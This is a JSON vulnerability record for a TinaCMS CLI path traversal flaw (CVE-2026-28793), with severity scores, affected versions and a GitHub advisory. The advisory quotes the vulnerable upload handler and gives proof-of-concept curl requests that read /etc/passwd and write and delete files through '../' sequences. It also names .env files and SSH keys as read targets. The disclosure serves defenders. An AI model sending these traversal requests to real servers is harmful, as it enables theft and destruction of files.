{"id":"CVE-2026-28793","aliases":["CVE-2026-28793","GHSA-2f24-mg4x-534q"],"related":[],"kind":"vulnerability","state":"published","title":"Path Traversal Leading to Arbitrary File Read, Write and Delete in TinaCMS","summary":"Tina is a headless content management system. Prior to 2.1.8, the TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory. When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as /media/list/*, /media/upload/*, and /media/*. These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory. This vulnerability is fixed in 2.1.8.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Tina is a headless content management system. Prior to 2.1.8, the TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory. When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as /media/list/*, /media/upload/*, and /media/*. These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory. This vulnerability is fixed in 2.1.8.","source":"cvelist"},{"lang":"en","text":"## Summary\nThe TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.\n\n## Details\nWhen running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:\n\n- /media/list/*\n\n- /media/upload/*\n\n- /media/*\n\nThese endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.\n\n### Vulnerable code\n```\nbb.on('file', async (_name, file, _info) => {\n      const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));\n      const saveTo = path.join(mediaFolder, ...fullPath.split('/'));\n// No validation that saveTo remains within mediaFolder\n      await fs.ensureDir(path.dirname(saveTo));\n      file.pipe(fs.createWriteStream(saveTo));\n    });\n```\n## PoC\n**Arbitrary File Read**\n```\ncurl \"http://localhost:4001/media/list/../../../etc/passwd\"\n```\n\nResult:\n\n<img width=\"889\" height=\"280\" alt=\"image(1)\" src=\"https://github.com/user-attachments/assets/a878a86a-71db-46ed-abda-3d4ddba692e0\" />\n\n\n**Arbitrary File Write**\n```\necho \"ATTACKER_CONTROLLED_CONTENT\" > /tmp/payload.txt\n\ncurl --path-as-is -X POST \\\n  \"http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt\" \\\n  -F \"file=@/tmp/payload.txt\"\ncat /tmp/pwned.txt\n```\nResult:\n<img width=\"1320\" height=\"84\" alt=\"image(8)\" src=\"https://github.com/user-attachments/assets/8bd5046b-0456-474f-ab96-4e18a421997c\" />\n\n**Arbitrary File Delete**\n```\necho \"delete_me\" > /tmp/delete-test.txt\ncat /tmp/delete-test.txt # confirms file exists\ncurl --path-as-is -X DELETE \\\n\"http://localhost:4001/media/../../../../../../tmp/delete-test.txt\"\ncat /tmp/delete-test.txt # \"No such file or directory\"\n```\n<img width=\"1135\" height=\"105\" alt=\"image\" src=\"https://github.com/user-attachments/assets/64c24b83-0259-4a12-969d-98c8e8cc81ca\" />\n\n## Impact\n\nAn attacker who can reach the TinaCMS CLI dev server can:\n\n- Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)\n\n- Write arbitrary files anywhere writable by the server process\n\n- Delete or overwrite files, depending on endpoint usage\n\n- Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files\n\n## Attack Surface\n\nThe dev server binds to localhost by default, but exploitation is realistic in:\n\n- Cloud IDEs (Codespaces, Gitpod)\n\n- Docker or VM setups with port forwarding\n\n- Misconfigured dev environments binding to 0.0.0.0\n\n- Local malware or malicious dependencies\n\nThe server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.\n\n## Recommended Fix\n\n- Resolve paths to absolute form\n\n- Enforce that resolved paths remain within the media root\n\n- Reject .. path segments and absolute paths\n\n- Consider authentication or token protection for dev server endpoints","format":"markdown","source":"ghsa"},{"lang":"es","text":"Tina es un sistema de gestión de contenido sin cabeza. Antes de 2.1.8, el servidor de desarrollo CLI de TinaCMS expone puntos finales de medios que son vulnerables a salto de ruta, permitiendo a los atacantes leer y escribir archivos arbitrarios en el sistema de archivos fuera del directorio de medios previsto. Al ejecutar tinacms dev, la CLI inicia un servidor HTTP local (puerto predeterminado 4001) exponiendo puntos finales como /media/list/*, /media/upload/* y /media/*. Estos puntos finales procesan segmentos de ruta controlados por el usuario usando decodeURI() y path.join() sin validar que la ruta resuelta permanezca dentro del directorio de medios configurado. Esta vulnerabilidad está corregida en 2.1.8.","source":"nvd"}],"published":"2026-03-12T16:50:20.132Z","modified":"2026-06-17T10:29:03.323Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"rating":"HIGH"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 2.1.8","status":"affected"}],"vendor":"@tinacms","product":"cli","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.1.8"}],"ecosystem":"npm","package":"@tinacms/cli","purl":"pkg:npm/%40tinacms/cli","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.1.8"}],"vendor":"ssw","product":"tinacms/cli","cpe":"cpe:2.3:a:ssw:tinacms\\/cli:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/tinacms/tinacms/security/advisories/GHSA-2f24-mg4x-534q","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28793","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/tinacms/tinacms","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-03-13T16:28:28.663Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-28793","url":"https://www.cve.org/CVERecord?id=CVE-2026-28793","licence":"CVE Terms of Use","modified":"2026-03-13T16:28:33.184Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2f24-mg4x-534q","url":"https://github.com/advisories/GHSA-2f24-mg4x-534q","licence":"CC-BY-4.0","modified":"2026-03-14T07:11:20.850Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-28793","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28793","licence":"Public domain","modified":"2026-06-17T10:29:03.323Z"}],"updatedAt":"2026-11-25T22:59:15.834Z","epss":{"score":0.00235,"percentile":0.15545,"date":"2026-12-01T12:00:22.000Z"}}